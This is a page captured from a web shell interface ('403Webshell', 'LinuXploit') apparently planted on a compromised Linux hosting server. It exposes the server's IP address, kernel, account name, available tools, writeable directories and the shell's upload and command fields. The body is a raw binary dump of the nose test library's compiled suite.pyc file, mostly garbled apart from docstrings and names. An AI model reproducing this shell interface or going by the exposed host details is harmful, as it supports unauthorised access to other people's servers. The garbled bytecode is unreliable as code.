403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.221.20.252
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/nose/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/nose/__pycache__/suite.cpython-37.pyc
B

/�Se*W�@s<dZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZm
Z
ejdkr�ejdd�d	kr�ddlZe�d
�ddlmZnGdd
�d
e�Ze�e�Ze�Zdd�ZGdd�de�ZGdd�dej�ZGdd�de�ZGdd�de�ZGdd�de�Z Gdd�dej�Z!Gdd�d�Z"Gdd�d�Z#dS) z�
Test Suites
-----------

Provides a LazySuite, which is a suite whose test list is a generator
function, and ContextSuite,which can run fixtures (setup/teardown
functions or methods) for the context that contains its tests.

�N)�Test)�Config)�ResultProxyFactory)�isclass�resolve_name�try_run�cli�)r	��
IronPython)�StringExceptionc@seZdZdS)rN)�__name__�
__module__�__qualname__�rr�;/opt/alt/python37/lib/python3.7/site-packages/nose/suite.pyrsrcCsd|j|jfS)Nz%s.%s)rr
)�clsrrr�	_strclass$src@seZdZdZdS)�MixedContextErrorzQError raised when a context suite sees tests from more than
    one context.
    N)r
rr�__doc__rrrrr'srcsteZdZdZd�fdd�	Zdd�Zdd�Zd	d
�ZeZdd�Z	d
d�Z
dd�Zdd�Zdd�Z
eee
dd�Z�ZS)�	LazySuitez:A suite that may use a generator as its list of tests
    rcstt|���|�|�dS)zFInitialize the suite. tests may be an iterable or a generator
        N)�superr�__init__�
_set_tests)�self�tests)�	__class__rrr1szLazySuite.__init__cCs
t|j�S)N)�iter�_tests)rrrr�__iter__7szLazySuite.__iter__cCsdt|j�t|�fS)Nz<%s tests=generator (%s)>)rr�id)rrrr�__repr__:szLazySuite.__repr__cCs
t�|�S)N)�object�__hash__)rrrrr#>szLazySuite.__hash__cCs|j�|�dS)N)�	_precache�append)r�testrrr�addTestCszLazySuite.addTestcCs$x|jD]}|jrP||�qW|S)N)r�
shouldStop)r�resultr&rrr�runGs
z
LazySuite.runcCsht�dt|��|jrdS|jdkr(dSy&t|j�}|dk	rL|j�|�dSWntk
rbYnXdS)Nztests in %s?TF)�log�debugr r$�test_generator�nextr%�
StopIteration)rr&rrr�__bool__Ns

zLazySuite.__bool__ccsLt�d|j�x|jD]
}|VqW|jdkr2dSx|jD]
}|Vq:WdS)Nzprecache is %s)r+r,r$r-)rr&rrr�
_get_tests]s

zLazySuite._get_testscCsTg|_t|tj�}t|�r(|s(|�|_n(|r@|�|g�d|_n|�|�d|_dS)N)r$�
isinstance�unittest�	TestSuite�callabler-�addTests)rrZis_suiterrrrfs

zLazySuite._set_testsNzbAccess the tests in this suite. Access is through a generator, so iteration may not be repeatable.)r)r
rrrrrr!r#�__str__r'r*r0r1r�propertyr�
__classcell__rr)rrr.s	rcs�eZdZdZejjZdZdZdZ	dZ
dZdZdZ
dZd-�fdd
�	Zdd�ZeZdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd.dd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Ze ee!j"d
d,�Z#�Z$S)/�ContextSuitea4A suite with context.

    A ContextSuite executes fixtures (setup and teardown functions or
    methods) for the context containing its tests.

    The context may be explicitly passed. If it is not, a context (or
    nested set of contexts) will be constructed by examining the tests
    in the suite.
    F)Zsetup_classZ	setup_allZ
setupClassZsetupAll�
setUpClassZsetUpAll)Zteardown_classZteardown_allZ
teardownClassZteardownAll�
tearDownClassZtearDownAll)Zsetup_moduleZsetupModule�setUpModule�setup�setUp)Zteardown_moduleZteardownModule�tearDownModule�teardown�tearDown)Z
setup_packageZsetupPackageZsetUpPackage)Zteardown_packageZteardownPackageZtearDownPackagerNTcs`t�d||t|��||_||_|dkr.t�}||_||_d|_||_	d|_
tt|��
|�dS)NzContext suite for %s (%s) (%s)F)r+r,r �context�factoryr�config�resultProxy�has_run�	can_split�
error_contextrr:r)rrrCrDrErFrH)rrrr�szContextSuite.__init__cCsdt|j�t|jd|j�fS)Nz<%s context=%s>r
)rr�getattrrC)rrrrr!�szContextSuite.__repr__cCs$|jrdt|�|jfSt|�SdS)Nz%s:%s)rI�repr)rrrrr �szContextSuite.idcCs
t�|�S)N)r"r#)rrrrr#�szContextSuite.__hash__cOs|j||�S)N)r*)r�arg�kwrrr�__call__�szContextSuite.__call__cCst��S)z.Hook for replacing error tuple output
        )�sys�exc_info)rrrrrP�szContextSuite.exc_infocCs>|��}tjdkr:t|dt�r:t|d�|d|df}|S)z:Bottleneck to fix up IronPython string exceptions
        rr�r	)rPrO�platformr2r�str)r�errr�	_exc_info�s

zContextSuite._exc_infocCs�t�dt|�||j�|jr0|�||�|}}n
||}}y|��Wn4tk
r\�Yn d|_|�||�	��dSz.x(|jD]}|j
r�t�d�P||�q�WWdd|_y|��Wn6tk
r��Yn"d|_|�||�	��YnXXdS)z5Run tests in suite inside of suite fixtures.
        z#suite %s (%s) run called, tests: %sr>NZstoppingTrA)
r+r,r rrFr?�KeyboardInterruptrI�addErrorrUr(rGrB)rr)�origr&rrrr*�s4

zContextSuite.runcCs`|j}|dkrdS|j||d�r$dS|j}|r\|j�|g�}x|D]}|j||d�rBdSqBWdS)NF)�ctx_callbackT)rC�implementsAnyFixturerD�get)rrYrCrD�	ancestors�ancestorrrr�hasFixtures�s

zContextSuite.hasFixturescCstt|�r|j|j}n&|j|j}t|d�r<||j|j7}d}x|D]}t||�rFd}PqFW|dkrj|S|||�S)N�__path__FT)r�
classSetup�
classTeardown�moduleSetup�moduleTeardown�hasattr�packageSetup�packageTeardown)rrCrY�namesZfixt�mrrrrZ�s


z!ContextSuite.implementsAnyFixturecCs�t�dt|�|j�|s,t�dt|��dS|jrFt�dt|��dS|j}|dkrXdS|j}|r�|j�|g�dd�}x>|r�|��}t�d|�||jkr�qzt�d|�|�	|�qzW||jkr�|�	|�n
|�	|�d|_t�d�dS)Nz suite %s setUp called, tests: %szsuite %s has no testszsuite %s already set upzancestor %s may need setupzancestor %s does need setupTzcompleted suite setup)
r+r,r r�	was_setuprCrDr[�pop�setupContext)rrCrDr\r]rrrr?s2


zContextSuite.setUpcCsv|jj�|�t�d||�|jr>||jjkr2dS||jj|<t|�rN|j}n|j	}t
|d�rh|j|}t||�dS)Nz%s setup context %sr_)
rE�pluginsZstartContextr+r,rDrirr`rbrdrer)rrCrgrrrrk,s

zContextSuite.setupContextcCs|jdkrdSd|jS)Nz
test suiteztest suite for %s)rC)rrrr�shortDescription=s
zContextSuite.shortDescriptioncCs�t�d�|jr|jr0t�d|j|jf�dSd|_|j}|dkrRt�d�dS|j}|r�|j�|g�|g}x~|D]j}t�d|�||jkr�t�d|�qv||jkr�t�d|�qv|j|}t�d||�||krv|�|�qvWn
|�|�dS)	Nzcontext teardownz6No reason to teardown (was_setup? %s was_torndown? %s)TzNo context to tear downzancestor %s may need teardownzancestor %s was not setupzancestor %s already torn downz%s setup ancestor %s)r+r,ri�was_torndownrCrDr[�teardownContext)rrCrDr\r]r>rrrrBBs6





zContextSuite.tearDowncCsvt�d||�|jr0||jjkr$dS||jj|<t|�r@|j}n|j}t|d�rZ|j|}t	||�|j
j�|�dS)Nz%s teardown context %sr_)
r+r,rDrnrrarcrdrfrrErlZstopContext)rrCrgrrrrocs


zContextSuite.teardownContextccsHxB|��D]6}t|t�s$t|tj�r,|Vq
t||j|jd�Vq
WdS)N)rErF)r1r2rr3r4rErF)rr&rrr�_get_wrapped_testssszContextSuite._get_wrapped_testszOAccess the tests in this suite. Tests are returned inside of a context wrapper.)rNNNNT)N)%r
rrrr3�TestCase�failureExceptionrirnr`rarbrcrerfrr!r7r r#rNrPrUr*r^rZr?rkrmrBrorpr8rrrr9rr)rrr:ys<	

&
 !	
r:c@sTeZdZdZeZddefdd�Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dS)�ContextSuiteFactoryaCFactory for ContextSuites. Called with a collection of tests,
    the factory decides on a hierarchy of contexts by introspecting
    the collection or the tests themselves to find the objects
    containing the test objects. It always returns one suite, but that
    suite may consist of a hierarchy of nested suites.
    NcCsV|dkrt�}||_|dk	r"||_|tkr4t|d�}||_i|_i|_i|_i|_	dS)N)rE)
rrE�
suiteClass�_defrrF�suitesrCrirn)rrErtrFrrrr�s
zContextSuiteFactory.__init__cKs�t�d|�|�dt|dd��}t�d||�|dkrv|�|�}y|�|�}Wn&tk
rt|j|�|�df|�SX|j||f|�S)a�Return ``ContextSuite`` for tests. ``tests`` may either
        be a callable (in which case the resulting ContextSuite will
        have no parent context and be evaluated lazily) or an
        iterable. In that case the tests will wrapped in
        nose.case.Test, be examined and the context of each found and a
        suite of suites returned, organized into a stack with the
        outermost suites belonging to the outermost contexts.
        zCreate suite for %srCNztests %s context %s)	r+r,rjrJ�	wrapTests�findContextr�	makeSuite�mixedSuites)rrrMrCrrrrN�s	
zContextSuiteFactory.__call__ccs�t�d|�|dkrdSt|d�r,|jj}nt|d�r>|jj}t|d�rV|j�d�}n,t|d�rv|j�d�dd�}ntd	|��x.|r�t�d
||�t	d�
|��V|��q�WdS)z�Return the ancestry of the context (that is, all of the
        packages and modules containing the context), in order of
        descent with the outermost ancestor last.
        This method is a generator.
        zget ancestry %sNZim_class�__self__r�.r
���z%s has no ancestors?z %s ancestors %s)r+r,rdr{rr�splitr
�	TypeErrorr�joinrj)rrCr\rrr�ancestry�s 




zContextSuiteFactory.ancestrycCsjt|�st|tj�rdSd}xH|D]@}t|dd�}|dkr<q"|dkrJ|}q"||kr"td||f��q"W|S)NrCz5Tests with different contexts in same suite! %s != %s)r5r2r3r4rJr)rrrCr&�ctxrrrrx�s
zContextSuiteFactory.findContextcKs�|j|f||j||jd�|��}|dk	r�|j�|g��|�|j�|g��|�t�d|t	|dd��xF|�
|�D]8}|j�|g��|�|j|�|�t�d||j�qrW|S)N)rCrErDrFzsuite %s has context %sr
zsuite %s has ancestor %s)rtrErFrv�
setdefaultr%rCr+r,rJr�r
)rrrCrM�suiter]rrrry�szContextSuiteFactory.makeSuitecCs|sgS|�d�}|s|gS|}|dd�}t|dd�}|dk	�r|gdd�|�|�D�}x�|D]�}|g}g}	x~|D]v}
d}t|
dd�}|dkr�|	�|
�qv||kr�|�|
�qvx*|�|�D]}
|
|kr�|�|
�d}Pq�W|sv|	�|
�qvW|�r|�||�}|�|	�}qbW|g|S)acThe complex case where there are tests that don't all share
        the same context. Groups tests into suites with common ancestors,
        according to the following (essentially tail-recursive) procedure:

        Starting with the context of the first test, if it is not
        None, look for tests in the remaining tests that share that
        ancestor. If any are found, group into a suite with that
        ancestor as the context, and replace the current suite with
        that suite. Continue this process for each ancestor of the
        first test, until all ancestors have been processed. At this
        point if any tests remain, recurse with those tests as the
        input, returning a list of the common suite (which may be the
        suite or test we started with, if no common tests were found)
        plus the results of recursion.
        rNrCcSsg|]}|�qSrr)�.0�arrr�
<listcomp>sz3ContextSuiteFactory.mixedSuites.<locals>.<listcomp>FT)rjrJr�r%ryrz)rr�headr��tailrCr\r]�commonZremainr&Zfound_commonZtest_ctxZ
test_ancestorrrrrz�sB






zContextSuiteFactory.mixedSuitescCs�t�d|�t|�s t|tj�r.t�d�|Sg}xt|D]l}t�d|�t|t�s^t|tj�rj|�|�q8t|t�r�|�|j	||j
d��q8|�t||j|jd��q8W|S)Nzwrap %szI won't wrapzwrapping %s)rC)rErF)
r+r,r5r2r3r4rr%�ContextListryrCrErF)rr�wrappedr&rrrrws


zContextSuiteFactory.wrapTests)r
rrrr:rtrurrNr�rxryrzrwrrrrrs�s2rsc@s"eZdZdZddd�Zdd�ZdS)r�z�Not quite a suite -- a group of tests in a context. This is used
    to hint the ContextSuiteFactory about what context the tests
    belong to, in cases where it may be ambiguous or missing.
    NcCs||_||_dS)N)rrC)rrrCrrrr2szContextList.__init__cCs
t|j�S)N)rr)rrrrr6szContextList.__iter__)N)r
rrrrrrrrrr�-s
r�cs8eZdZdZ�fdd�Zdd�Zdd�Zdd	�Z�ZS)
�FinalizingSuiteWrapperz�Wraps suite and calls final function after suite has
    executed. Used to call final functions in cases (like running in
    the standard test runner) where test running is not under nose's
    control.
    cstt|���||_||_dS)N)rr�rr��finalize)rr�r�)rrrr@szFinalizingSuiteWrapper.__init__cOs|j||�S)N)r*)rrLrMrrrrNEszFinalizingSuiteWrapper.__call__cCs
t|j�S)N)rr�)rrrrrIszFinalizingSuiteWrapper.__iter__c	Os z|j||�S|j||�XdS)N)r�r�)rrLrMrrrr*LszFinalizingSuiteWrapper.run)	r
rrrrrNrr*r9rr)rrr�:s
r�c@seZdZdd�ZdS)�TestDircOstd��dS)Nz�TestDir is not usable with nose 0.10. The class is present in nose.suite for backwards compatibility purposes but it may not be used.)�NotImplementedError)rLrMrrrrUszTestDir.__init__N)r
rrrrrrrr�Tsr�c@seZdZdd�ZdS)�
TestModulecOstd��dS)Nz�TestModule is not usable with nose 0.10. The class is present in nose.suite for backwards compatibility purposes but it may not be used.)r�)rLrMrrrr]szTestModule.__init__N)r
rrrrrrrr�\sr�)$r�loggingrOr3Z	nose.caserZnose.configrZ
nose.proxyrZ	nose.utilrrrrR�version_infoZclrZAddReferenceZIronPython.Runtime.Exceptionsr�	Exception�	getLoggerr
r+r"rurrr4rr:rsr�r�r�r�rrrr�<module>	s6


K
-


Youez - 2016 - github.com/yon3zu
LinuXploit